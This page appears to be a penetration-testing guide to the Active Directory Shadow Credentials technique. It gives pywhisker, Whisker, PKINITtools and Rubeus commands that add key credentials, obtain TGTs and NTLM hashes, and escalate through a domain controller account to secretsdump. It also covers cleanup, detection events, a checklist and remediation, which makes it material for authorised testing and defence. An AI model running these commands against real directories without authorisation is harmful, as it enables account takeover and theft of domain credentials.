7 min read

Exploitation

Shadow Credentials

Exploit write access to the msDS-KeyCredentialLink attribute to add a key credential, enabling PKINIT authentication and obtaining NTLM hashes without knowing the password.

Information

Shadow Credentials requires: Domain functional level 2016+, PKINIT support, and write access to target's msDS-KeyCredentialLink attribute.

Danger

Scope boundary for this page. Adding a key credential is writing an authentication method onto someone else's account — it survives password resets, so leaving one behind is persistence rather than a test. Confirm the Rules of Engagement authorise writing to msDS-KeyCredentialLink on the named accounts, and treat the removal step as part of the technique: list the attribute, remove your device ID, and re-list to prove it is gone.

Tool Installation

pywhisker

Python shadow creds

pip install pywhisker

Whisker

C# shadow creds

github.com/eladshamir/Whisker

Certipy

PKINIT support

pip install certipy-ad

PKINITtools

PKINIT utilities

github.com/dirkjanm/PKINITtools

Attack Prerequisites

Requirements Check

  • ✅ Domain Functional Level 2016 or higher
  • ✅ At least one Domain Controller running Server 2016+
  • ✅ Write access to target's msDS-KeyCredentialLink attribute
  • ✅ Target account not protected by AdminSDHolder (or attack AdminSDHolder)
check-keycredential-write.ps1
# Check domain functional level
Get-ADDomain | Select-Object DomainMode

# Check who has write access to KeyCredentialLink
# GenericAll, GenericWrite, or WriteProperty on msDS-KeyCredentialLink
Get-ADObject -Identity "CN=Target,CN=Users,DC=corp,DC=local" -Properties nTSecurityDescriptor | 
    Select-Object -ExpandProperty nTSecurityDescriptor | 
    Select-Object -ExpandProperty Access | 
    Where-Object {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteProperty"}

Adding Shadow Credentials

Using pywhisker (Linux)

shadow-creds-pywhisker.sh
# Add shadow credentials to target user
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victimuser --action add

# This outputs:
# - A certificate PFX file
# - The password for the PFX
# - Command to use with gettgtpkinit.py

# Get TGT using PKINIT
python3 gettgtpkinit.py corp.local/victimuser victimuser.ccache -cert-pfx victim.pfx -pfx-pass <password>

# Export ticket
export KRB5CCNAME=victimuser.ccache

# Get NTLM hash via U2U
python3 getnthash.py corp.local/victimuser -key <AS-REP key from previous command>

Using Whisker (Windows)

shadow-creds-whisker.ps1
# Add shadow credentials
Whisker.exe add /target:victimuser

# Output includes Rubeus command
# Use Rubeus to get TGT and NTLM hash
Rubeus.exe asktgt /user:victimuser /certificate:<base64cert> /password:<password> /nowrap /ptt

# Alternative: Get hash directly
Rubeus.exe asktgt /user:victimuser /certificate:<base64cert> /password:<password> /getcredentials

Targeting Computer Accounts

Shadow credentials on computer accounts allows privilege escalation through S4U2Self abuse.

shadow-creds-computer.sh
# Add shadow creds to computer account (need write access)
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target 'DC01$' --action add

# Get TGT for computer
python3 gettgtpkinit.py corp.local/'DC01$' dc01.ccache -cert-pfx dc01.pfx -pfx-pass <password>

# S4U2Self to impersonate admin
python3 gets4uticket.py kerberos+ccache://corp.local\DC01$:dc01.ccache@DC01.corp.local cifs/DC01.corp.local@corp.local administrator@corp.local administrator.ccache

# Use ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass DC01.corp.local

Cleanup

shadow-creds-cleanup.sh
# List current shadow credentials
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victimuser --action list

# Remove specific device ID
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victimuser --action remove --device-id <DeviceID>

# Clear all shadow credentials
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victimuser --action clear

# Whisker cleanup (Windows)
Whisker.exe list /target:victimuser
Whisker.exe remove /target:victimuser /deviceid:<DeviceID>

Detection & Blue Team

Shadow credentials leave one directory write and one unusual logon. The write is the reliable half: a msDS-KeyCredentialLink change by an account that is not the target device or the Hello for Business enrolment service has no benign explanation. The logon half is subtle — the certificate is self-signed, so unlike every other PKINIT on the estate it has no corresponding enrolment event on the CA.

Signal Event / artefact What it catches
Key credential written 5136 on msDS-KeyCredentialLink A write by an actor that is neither the target computer nor the device-enrolment service.
Certificate logon with no enrolment 4768 (PKINIT) with no 4886/4887 The self-signed certificate behind the attack: authentication that never passed through the enterprise CA.
Credential removed 5136 with a delete operation on the attribute Attacker cleanup after use — worth correlating back to the write.
Write right granted 5136 on nTSecurityDescriptor How the precondition was created, often days or weeks before the attack.

External Resources

Practice Labs

Practice Shadow Credentials attacks

Support Hack The Box easy
LDAPShadow Credentials
Absolute Hack The Box insane
Shadow CredentialsRBCD

Evidence Collection

The key credential you added: Target object, device ID, the key blob and the timestamp of the write. This is also the cleanup list — an entry you cannot identify is an entry you cannot remove.

The authentication it produced: The PKINIT 4768, the TGT, and — if you used getnthash — the recovered NTLM hash. Adding the credential is the prerequisite; the logon is the finding.

The write right that allowed it: The ACE that granted GenericWrite/WriteProperty on msDS-KeyCredentialLink, or the AdminSDHolder inheritance that implied it, as found before the change.

Removal proof: --action list before and after, showing the device ID gone. Shadow credentials are designed to persist; leaving one behind is a persistence finding against your own test.

CVSS range: Shadow credentials on an ordinary workstation account: 7.5 | On a server or privileged account: 8.8 | Used as persistence after privilege was obtained: 8.8, reported as an impact

False Positive Identification

  • A non-empty attribute is normal: Windows Hello for Business and device registration both write msDS-KeyCredentialLink. The finding is a credential you added, or one whose key has no matching device and no enrolment history.
  • A credential that PKINIT refuses: If the DC rejects the certificate (strong mapping, no DC authentication certificate), the write happened and the takeover did not. Report the write right, not domain compromise.
  • A write right with no reachable target: AdminSDHolder-protected objects reject the write, and a right on an object you cannot name is not exploitable. Confirm the attribute actually changed.
  • Cleanup done is still a finding: Removing the key removes the persistence, not the missing control — the write right is what the client has to fix.

Testing Checklist

The write is the prerequisite and the logon is the finding. Do not stop at the first one, and do not leave the second one behind.

Prove the write right

  • ☐ The right (GenericWrite or WriteProperty on msDS-KeyCredentialLink) is confirmed on the target object before the add.
  • ☐ pywhisker or Whisker --action add returns a device ID, and --action list shows the same ID afterwards.
  • ☐ AdminSDHolder-protected objects are tested for the write; a refusal there is reported as a control, not as an attack that half worked.
  • ☐ The attribute is read back from the directory, not only from the tool's own output.

Prove the credential works, then remove it

  • ☐ getnthash returns an NT hash, or PKINIT logs on as the target - one of the two is the proof that the key is usable.
  • ☐ The 4768 from the PKINIT logon is paired with the absence of an enterprise-CA enrolment record, which is what separates this from a legitimate certificate logon.
  • ☐ --action list after cleanup shows the device ID gone; a key left behind is persistence you gave the client.
  • ☐ An existing key-credential value is attributed to WHfB or device registration before it is reported as suspicious.

Remediation

Remove the write path

  • • Audit who holds GenericWrite, GenericAll or WriteProperty on user and computer objects — that right is the whole attack.
  • • Tier administration so a workstation-scoped delegation cannot reach a server or privileged account, and check AdminSDHolder's ACL after every change.
  • • For service accounts, prefer gMSA over delegated write rights on a user object.

Detect the write, not the logon

  • • Alert on 5136 where msDS-KeyCredentialLink is written by an account other than the target device or the WHfB enrolment service.
  • • Pair PKINIT 4768 events against CA enrolment (4886/4887): shadow credentials use a self-signed certificate, so there is no enterprise-CA record behind the logon.
  • • Include key-credential writes in the same review as SID history and primaryGroupId changes — they are the same class of quiet directory persistence.